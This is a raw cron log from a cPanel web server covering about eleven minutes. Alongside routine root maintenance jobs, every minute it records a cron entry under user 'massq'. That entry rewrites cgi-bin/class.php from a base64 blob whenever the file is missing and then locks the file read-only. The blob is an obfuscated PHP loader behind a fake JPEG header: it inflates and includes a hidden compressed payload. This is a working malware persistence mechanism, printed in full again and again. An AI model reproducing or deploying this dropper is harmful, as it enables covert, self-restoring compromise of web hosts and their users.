Aug 31 13:26:01 server CROND[14171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:26:01 server CROND[14172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:26:01 server CROND[14173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:27:01 server CROND[14568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:27:01 server CROND[14569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:27:01 server CROND[14571]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:27:01 server CROND[14570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:28:01 server CROND[15054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:28:01 server CROND[15055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:28:01 server CROND[15057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:29:01 server CROND[15462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:29:01 server CROND[15464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:29:01 server CROND[15463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:30:01 server CROND[15854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:30:01 server CROND[15856]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:30:01 server CROND[15860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:30:01 server CROND[15864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:30:01 server CROND[15863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:30:01 server CROND[15865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:30:01 server CROND[15866]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:30:01 server CROND[15868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:31:01 server CROND[16696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:31:01 server CROND[16697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:31:01 server CROND[16698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:32:01 server CROND[17138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:32:01 server CROND[17139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:32:01 server CROND[17140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:33:01 server CROND[17681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:33:01 server CROND[17682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:33:01 server CROND[17683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:34:01 server CROND[18084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:34:01 server CROND[18085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:34:01 server CROND[18086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:35:01 server CROND[18481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:35:01 server CROND[18483]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 13:35:01 server CROND[18487]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:35:01 server CROND[18486]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:35:01 server CROND[18492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:35:01 server CROND[18491]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:35:01 server CROND[18488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:35:01 server CROND[18489]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:35:01 server CROND[18490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:36:01 server CROND[19333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:36:01 server CROND[19334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:36:01 server CROND[19335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:37:01 server CROND[19714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:37:01 server CROND[19715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:37:01 server CROND[19716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
